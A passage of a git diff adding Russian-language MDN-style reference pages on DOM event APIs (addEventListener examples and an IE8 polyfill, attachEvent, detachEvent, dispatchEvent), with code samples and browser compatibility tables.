+<p>Здесь мы добавляем слушателя для события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаем <code>false</code> как значение параметра <code>useCapture</code>.</p>
+
+<p>Вы можете использовать стороннюю библиотеку, такую как <a href="https://modernizr.com/docs">Modernizr</a> или <a href="https://github.com/rafrex/detect-it">Detect It</a>, чтобы проверить поддержку необходимого свойства.</p>
+
+<p>Узнайте больше о <a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a> из  <a href="https://wicg.github.io/admin/charter.html">Web Incubator Community Group</a>.</p>
+
+<h2 id="Примеры"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.5rem;'>Примеры</span></h2>
+
+<h3 id="addEventListenerBasic" name="addEventListenerBasic">Добавление простого слушателя</h3>
+
+<p>Эти примеры демонстрируют как использовать <code>addEventListener()</code> для наблюдения за щелчками мышкой по элементу.</p>
+
+<h4 id="HTML_Содержимое">HTML Содержимое</h4>
+
+<pre class="brush: html notranslate">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;один&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;два&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="JavaScript_Содержимое">JavaScript Содержимое</h4>
+
+<pre class="brush: js notranslate">// Функция изменяет содержимое t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "три") {
+    t2.firstChild.nodeValue = "два";
+  } else {
+    t2.firstChild.nodeValue = "три";
+  }
+}
+
+// Добавляет слушателя событий для таблицы
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+</pre>
+
+<p>В примере выше, <code>modifyText()</code> регистрирует слушателя для события click, используя <code>addEventListener()</code>. Клик в любом месте таблицы будет поднимать обработчик и запускать <code>modifyText()</code>.</p>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Add_a_simple_listener')}}</p>
+
+<p>Если вам нужно передать параметры в слушателя, вы можете использовать анонимные функции.</p>
+
+<h3 id="Event_Listener_with_anonymous_function" name="Event_Listener_with_anonymous_function">Слушатель события с анонимной функцией</h3>
+
+<h4 id="HTML_Содержимое_2">HTML Содержимое</h4>
+
+<pre class="brush: html notranslate">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;один&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;два&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_Содержимое_2">JavaScript Содержимое</h4>
+
+<pre class="brush: js notranslate">// Функция, изменяющая содержание t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Функция, добавляющая слушатель к таблице
+el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("четыре")}, false);
+</pre>
+
+<p>Notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the <code>modifyText()</code> function, which is responsible for actually responding to the event.</p>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Event_Listener_with_anonymous_function')}}</p>
+
+<h3 id="Слушатель_события_со_стрелочной_функцией">Слушатель события со стрелочной функцией</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () =&gt; { modifyText("four"); }, false);</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample('Event_listener_with_an_arrow_function')}}</p>
+
+<p>Обратите внимание: несмотря на то, что анонимные и стрелочные функции схожи, они имеют разные значения <code>this</code>.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<h3 id="Why_use_addEventListener.3F" name="Why_use_addEventListener.3F">Зачем использовать <code>addEventListener</code>?</h3>
+
+<p><code>addEventListener</code> — это способ зарегистрировать обработчик события, описанный в документации W3C DOM. Вот список преимуществ его использования:</p>
+
+<ul>
+ <li>Позволяет добавлять множество обработчиков для одного события. Это особенно полезно для <a href="/en-US/docs/DHTML" title="DHTML">DHTML</a> библиотек или <a href="/en-US/docs/Extensions" title="Extensions">Mozilla extensions</a>, которые должны работать в условиях использования сторонних библиотек/расширений.</li>
+ <li>Предоставляет точный контроль фазы срабатывания(вызова) обработчика (захват или всплытие)</li>
+ <li>Срабатывает на любом DOM элементе, а не только на HTML элементах.</li>
+</ul>
+
+<p>Ниже описан другой, <a href="#Older_way_to_register_event_listeners">более старый способ регистрации обработчиков</a>.</p>
+
+<h3 id="Adding_a_listener_during_event_dispatch" name="Adding_a_listener_during_event_dispatch">Добавление слушателя во время обработки события</h3>
+
+<p>Если <code>EventListener</code> добавлен к <code>EventTarget</code> во время обработки события, он не будет вызван текущими действиями, но может быть вызван на более поздней стадии обработки события, при восходящей обработке.</p>
+
+<h3 id="Multiple_identical_event_listeners" name="Multiple_identical_event_listeners">Несколько одинаковых слушателей события</h3>
+
+<p>Если зарегистрировано несколько одинаковых <code>EventListener</code> на одном <code>EventTarget</code> с одинаковыми параметрами, дублирующиеся слушатели игнорируются. Так как одинаковые слушатели игнорируются, не требуется удалять их вручную с помощью метода <a href="/en-US/docs/DOM/EventTarget.removeEventListener" title="DOM/element.removeEventListener">removeEventListener</a>.</p>
+
+<h3 id="The_value_of_this_within_the_handler" name="The_value_of_this_within_the_handler">Значение <code>this</code> в обработчике</h3>
+
+<p>Обычно желательно передавать элемент, на котором сработал обработчик события, например, при использовании обобщённых обработчиков для схожих элементов. При добавлении функции при помощи <code>addEventListener()</code> значение переменной <code>this</code> меняется — заметьте, что значение <code>this</code> передаётся в функцию от вызывающего объекта.</p>
+
+<p>В примере выше значение переменной <code>this</code> внутри <code>modifyText()</code> при вызове событием клика равно таблице 't'. Это противоположно поведению, которое возникает, если обработчик добавлен в HTML-разметке:</p>
+
+<pre class="brush: html notranslate">&lt;table id="t" onclick="modifyText();"&gt;
+  . . .
+</pre>
+
+<p>Значение переменной <code>this</code> внутри <code>modifyText()</code> при вызове событием клика будет равно ссылке на глобальный (window) объект (или <code>undefined</code> при использовании <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)</p>
+
+<div class="note"><strong>Note:</strong> В JavaScript 1.8.5 введён метод <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="JavaScript/Reference/Global Objects/Function/bind">Function.prototype.bind()</a></code> , который позволяет указать значение, которое должно быть использовано для всех вызовов данной функции. Он позволяет вам легко обходить ситуации, в которых не ясно, чему будет равно this, в зависимости от того, в каком контексте будет вызвана ваша функция. заметьте, также, что Вам будет необходимо иметь внешню ссылку на слушатель, чтобы Вы могли удалить его позже.</div>
+
+<p>Пример с использованием <code>bind</code> и без него:</p>
+
+<pre class="brush: js notranslate">var Something = function(element) {
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, так как this является элементом
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', так как в this передано значение объекта Something
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+</pre>
+
+<p>Проблема в примере выше заключается в том, что Вы не можете удалить слушатель, вызванный с <code>bind</code>. Другое решение использует специальную функцию <code>handleEvent</code>, чтобы перехватывать любые события:</p>
+
+<pre class="brush: js notranslate">var Something = function(element) {
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', так как this является объектом Something
+    switch(event.type) {
+      case 'click':
+        // код обработчика...
+        break;
+      case 'dblclick':
+        // код обработчика...
+        break;
+    }
+  };
+
+  // В этом случае слушатели хранятся в this, а не в this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // Вы можете напрямую удалять слушатели
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+</pre>
+
+<h3 id="Legacy_Internet_Explorer_and_attachEvent" name="Legacy_Internet_Explorer_and_attachEvent">Наследство Internet Explorer и attachEvent</h3>
+
+<p>В Internet Explorer младше 9 версии, вы можете использовать <code><a href="http://msdn.microsoft.com/en-us/library/ms536343(VS.85).aspx">attachEvent</a></code> вместо стандартного <code>addEventListener</code>. Для поддержки IE, пример выше может быть модифицирован следующим образом:</p>
+
+<pre class="brush: js notranslate">if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+</pre>
+
+<p>У <code>attachEvent</code> есть недостаток: <code>this</code> будет ссылаться на объект <code>window</code>, а не на элемент, на котором он был вызван.</p>
+
+<h3 id="Compatibility" name="Compatibility">Совместимость</h3>
+
+<p>Вы можете обойти методы <code>addEventListener</code>, <code>removeEventListener</code>, <code>Event.preventDefault</code> и <code>Event.stopPropagation</code> не поддерживаемы в IE 8 используя следующий код в начале Вашего скрипта. Этот код подерживает использование <code>handleEvent</code> и события <code>DOMContentLoaded</code>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>useCapture не поддерживается, так как IE 8 не имеет альтернативного метода для этого. Также заметьте, что следующий код только добавляет поддержку IE 8. Также, он работает только при соблюдении стандартов: объявление DOCTYPE страницы обязательно.</p>
+</div>
+
+<pre class="brush: js notranslate">(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (listener.handleEvent) {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter&lt;eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this &amp;&amp; eventListener.type==type &amp;&amp; eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();</pre>
+
+<h3 id="Older_way_to_register_event_listeners" name="Older_way_to_register_event_listeners">Старый способ регистрации обработчиков событий</h3>
+
+<p><code>addEventListener()</code> был добавлен в спецификации DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. До этого слушатели добавлялись следующим образом:</p>
+
+<pre class="brush: js notranslate">// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию!
+el.onclick = modifyText;
+
+// Использование функционального выражения
+element.onclick = function() {
+  // ... логика функции ...
+};
+</pre>
+
+<p>Этот метод заменяет текущие слушатели события <code>click</code>, если они есть. Тоже самое для других событий и ассоциируемых с ними  обработчиков, таких как <code>blur</code> (<code>onblur</code>), <code>keypress</code> (<code>onkeypress</code>), и так далее.</p>
+
+<p>Так как это по существу было частью DOM 0, этот метод имеет широкую поддержку и не требует специального кросс-браузерного кода; следовательно, это обычно используется, чтобы добавлять слушатели динамически, если не требуются расширенные возможности <code>addEventListener()</code>.</p>
+
+<h3 id="Memory_issues" name="Memory_issues">Вопросы памяти</h3>
+
+<pre class="brush: js notranslate">var i;
+var els = document.getElementsByTagName('*');
+
+// Случай 1
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", function(e){/*некоторые действия*/}, false);
+}
+
+// Случай 2
+function processEvent(e){
+  /*некоторые действия*/
+}
+
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+
+</pre>
+
+<p>В первом случае новая (анонимная) функция создаётся при каждом шаге цикла. Во втором случае одна заранее объявленная функция используется как обработчик события. Из этого следует меньшее потребление памяти. Более того, в первом случае, вследствие отсутствия ссылок на анонимные функции, невозможно вызвать <code><a href="/en-US/docs/DOM/element.removeEventListener" title="DOM/element.removeEventListener">element.removeEventListener</a>,</code> потому что нет ссылки на обработчик, в то время, как во втором случае возможно вызвать <code>myElement.removeEventListener("click", processEvent, false)</code>.</p>
+
+<h3 id="Улучшение_производительности_прокрутки_с_помощью_passive_true">Улучшение производительности прокрутки с помощью <code>passive: true</code></h3>
+
+<p>Значение по умолчанию для параметра <code>passive</code> - <code>false</code>. Начиная с Chrome 56 (desktop, Chrome for Android, Android webview) значение по умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно <code>true</code>, а вызовы <code>preventDefault()</code> не разрешены. Чтобы отменить это поведение, необходимо установить параметр <code>passive</code> в <code>false</code> (см. пример ниже). Это изменение не позволяет слушателю блокировать показ страницы во время прокрутки пользователя. Демонстрация доступна на <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">сайте разработчиков Google</a>. Обратите внимание, что Edge вообще не поддерживает <code>options</code>, и добавление его без <a href="https://developer.mozilla.org/ru/docs/Web/API/EventTarget/addEventListener$edit#Safely_detecting_option_support">проверки поддержки</a> помешает использовать аргумент <code>useCapture</code>.</p>
+
+<pre class="brush: js notranslate">/* Feature detection */
+var passiveSupported = false;
+try {
+    window.addEventListener(
+        "test",
+        null,
+        Object.defineProperty({}, "passive", { get: function() { passiveSupported = true; } }));
+} catch(err) {}
+
+/* Event Listener */
+var elem = document.getElementById('elem');
+elem.addEventListener(
+    '<code>touchmove</code>',
+    function listener() {   /* do something */ },
+    passiveSupported ? { passive: true } : false
+);</pre>
+
+<p>Установка <code>passive</code> не имеет значения для основного события {{event ("scroll")}}, поскольку его нельзя отменить, поэтому его слушатель в любом случае не может блокировать показ страницы.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость</h2>
+
+<div>{{Compat("api.EventTarget.addEventListener", 3)}}</div>
+
+<h3 id="Заметки_по_Gecko">Заметки по Gecko</h3>
+
+<ul>
+ <li>До Firefox 6, браузер выбросит исключение, если параметр <code>useCapture</code> не был точно равен <code>false</code>. До Gecko 9.0 {{geckoRelease("9.0")}}, <code>addEventListener()</code> выбросит исключение, если параметр <code>listener</code> был равен <code>null</code>; сейчас метод завершается без ошибки, но ничего не делает.</li>
+</ul>
+
+<h3 id="Заметки_по_WebKit">Заметки по WebKit</h3>
+
+<ul>
+ <li>Несмотря на то, что в WebKit параметр <code>useCapture</code> был объявлен необязательным <a href="http://trac.webkit.org/changeset/89781">только в июне 2011 года</a>, это работало и до этого изменения. Новые изменения были добавлены в Safari 5.1 и Chrome 13.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_2">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.removeEventListener()")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering custom events</a></li>
+ <li><a href="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/attachevent/index.html b/files/ru/web/api/eventtarget/attachevent/index.html
new file mode 100644
index 0000000000..e7d6f423a4
--- /dev/null
+++ b/files/ru/web/api/eventtarget/attachevent/index.html
@@ -0,0 +1,93 @@
+---
+title: EventTarget.attachEvent()
+slug: Web/API/EventTarget/attachEvent
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Кратко">Кратко</h2>
+
+<p>Проприетарная альтернатива методу {{domxref("EventTarget.addEventListener()")}} от Microsoft Internet Explorer.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>attached</em> = <em>target</em>.attachEvent(<em>eventNameWithOn</em>, <em>callback</em>)
+</pre>
+
+<dl>
+ <dt>target</dt>
+ <dd>DOM элемент, на который требуется повесить "attachEvent()"</dd>
+ <dt>eventNameWithOn</dt>
+ <dd>Название ивента, начинающийся на "on" (так если бы это был колбэк атрибут), чей обработчик должен быть убран. Например, вам следует использовать <code>"onclick" для установки обработчика для данного "click" ивента.</code></dd>
+ <dt>callback</dt>
+ <dd>Функция, вызываемая при появлении ивента на целевом элементе. Функция будет вызвана без аргументов, и с "this", ссылающимся на <a href="/en-US/docs/Web/API/Window/window"><code>window</code> object.</a></dd>
+ <dt>attached</dt>
+ <dd>Возвращает "true"если установка была успешна, иначе "false".</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью спецификации.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms536343(v=vs.85).aspx">содержит описание на MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Браузерная совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6 thru 10 [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: <code>attachEvent()</code> больше не поддерживается в IE11+. {{domxref("EventTarget.addEventListener()")}} поддерживается в IE9+.</p>
+
+<h2 id="Смотрите_так-же">Смотрите так-же</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.detachEvent()")}}</li>
+ <li>{{domxref("EventTarget.fireEvent()")}}</li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/detachevent/index.html b/files/ru/web/api/eventtarget/detachevent/index.html
new file mode 100644
index 0000000000..bf326b32ba
--- /dev/null
+++ b/files/ru/web/api/eventtarget/detachevent/index.html
@@ -0,0 +1,91 @@
+---
+title: EventTarget.detachEvent()
+slug: Web/API/EventTarget/detachEvent
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Кратко">Кратко</h2>
+
+<p>Это проприетарная альтернатива методу {{domxref("EventTarget.removeEventListener()")}}  в Microsoft Internet Explorer.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>target</em>.detachEvent(<em>eventNameWithOn</em>, <em>callback</em>)
+</pre>
+
+<dl>
+ <dt>target</dt>
+ <dd>DOM елемент, для которого надо убрать обработчик.</dd>
+ <dt>eventNameWithOn</dt>
+ <dd>Название ивента, начинающийся на "on" (так если бы это был колбэк атрибут), чей обработчик должен быть убран. Например, вам следует использовать <code>"onclick" для удаления обработчика для данного "click" ивента.</code></dd>
+ <dt>callback</dt>
+ <dd>Функция, которую стоит убрать.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью спецификации.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms536411(v=vs.85).aspx">содержит описание на MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6 thru 10 [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: <code>detachEvent()</code> больше не поддерживается в IE11+. {{domxref("EventTarget.removeEventListener()")}} поддерживается в IE9+.</p>
+
+<h2 id="Смотрите_так-же">Смотрите так-же</h2>
+
+<ul>
+ <li>{{ domxref("EventTarget.attachEvent()") }}</li>
+ <li>{{ domxref("EventTarget.fireEvent()") }}</li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/dispatchevent/index.html b/files/ru/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..26e049cb28
--- /dev/null
+++ b/files/ru/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,82 @@
+---
+title: EventTarget.dispatchEvent()
+slug: Web/API/EventTarget/dispatchEvent
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{ ApiRef("DOM Events") }}</p>
+
+<p>Отправляет событие в общую систему событий. Это событие подчиняется тем же правилам поведения "Захвата" и "Всплывания" как и непосредственно инициированные события.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>cancelled</em> = !<em>target</em>.dispatchEvent(<em>event</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>event</code> - объект {{domxref("Event")}}, который инициализируется.</li>
+ <li><code>target</code> - используется для инициализации {{domxref("Event", "", "target")}}  и определяет, какие обработчики события вызвать.</li>
+</ul>
+
+<h3 id="Возвращаемое_Значение">Возвращаемое Значение</h3>
+
+<ul>
+ <li>Возвращаемое значение — <code>false</code>, если событие отменяемое и хотя бы один из обработчиков этого события вызвал {{domxref("Event.preventDefault()")}}. В ином случае — <code>true</code>.</li>
+</ul>
+
+<p>Метод <code>dispatchEvent</code> генерирует исключение <code>UNSPECIFIED_EVENT_TYPE_ERR</code>, если тип события не был указан при инициализации до вызова метода, или если тип события равен <code>null</code><strong> </strong>или пустой строке. Исключения возникающие в обработчиках события работают как неперехваченные исключения; обработчики события отрабатывают во вложенном стеке вызовов: они блокируют вызывающий код до окончания своего выполнения, но исключения не распространяются на вызывающего.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<p>dispatchEvent является последним шагом для процесса создание =&gt; инициализация =&gt; диспетчер, который используется для контроля  событий внутри модели выполнения событий.Событие может быть создано используя метод  <a href="https://developer.mozilla.org/en-US/docs/DOM/document.createEvent" title="DOM/document.createEvent">document.createEvent</a> и инициализировано используя <a href="https://developer.mozilla.org/en-US/docs/DOM/event.initEvent" title="DOM/event.initEvent">initEvent</a> или другой, более конкретный, метод инициализации, такой как <a href="https://developer.mozilla.org/en-US/docs/DOM/event.initMouseEvent" title="DOM/event.initMouseEvent">initMouseEvent</a> или <a href="https://developer.mozilla.org/en-US/docs/DOM/event.initUIEvent" title="DOM/event.initUIEvent">initUIEvent</a>.</p>
+
+<p>Смотрите также  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Event">События</a></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Для прочтения примера смотрите <a href="https://developer.mozilla.org/ru/docs/Web/Guide/Events/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9" title="https://developer.mozilla.org/en-US/docs/DOM/Creating_and_triggering_events?redirectlocale=en-US&amp;redirectslug=Creating_and_triggering_custom_events">Создание и инициирование собственных событий</a> .</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Описание</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-EventTarget-dispatchEvent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>dispatchEvent</code> представляет собой последний шаг в процессе create-init-dispatch, который служит для отправки событий.</p>
+
+<p>Событие может быть создано методом <a href="/en/DOM/document.createEvent" title="en/DOM/document.createEvent">document.createEvent</a> и инициализировано <a href="/en/DOM/event.initEvent" title="en/DOM/event.initEvent">initEvent</a> или, более конкретными инициализирующими методами, такими как <a href="/en/DOM/event.initMouseEvent" title="en/DOM/event.initMouseEvent">initMouseEvent</a> или <a href="/en/DOM/event.initUIEvent" title="en/DOM/event.initUIEvent">initUIEvent</a>.</p>
+
+<p>Смотрите также <a href="/en/DOM/event" title="en/DOM/event">справку по Event object</a>.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p id="Specification">{{Compat("api.EventTarget.dispatchEvent")}}</p>
+
+<div style="-webkit-border-radius: 8px; opacity: 0; display: none; padding: 10px; background-color: #ffffff; position: fixed; right: 0px; top: 0px;"></div>
+
+<div style="-webkit-border-radius: 8px; opacity: 0; display: none; padding: 10px; background-color: #ffffff; position: fixed; right: 0px; top: 0px;"></div>
diff --git a/files/ru/web/api/eventtarget/eventtarget/index.html b/files/ru/web/api/eventtarget/eventtarget/index.html
new file mode 100644
index 0000000000..e7f8ed381d
--- /dev/null
+++ b/files/ru/web/api/eventtarget/eventtarget/index.html
@@ -0,0 +1,76 @@
+---
+title: EventTarget()
+slug: Web/API/EventTarget/EventTarget
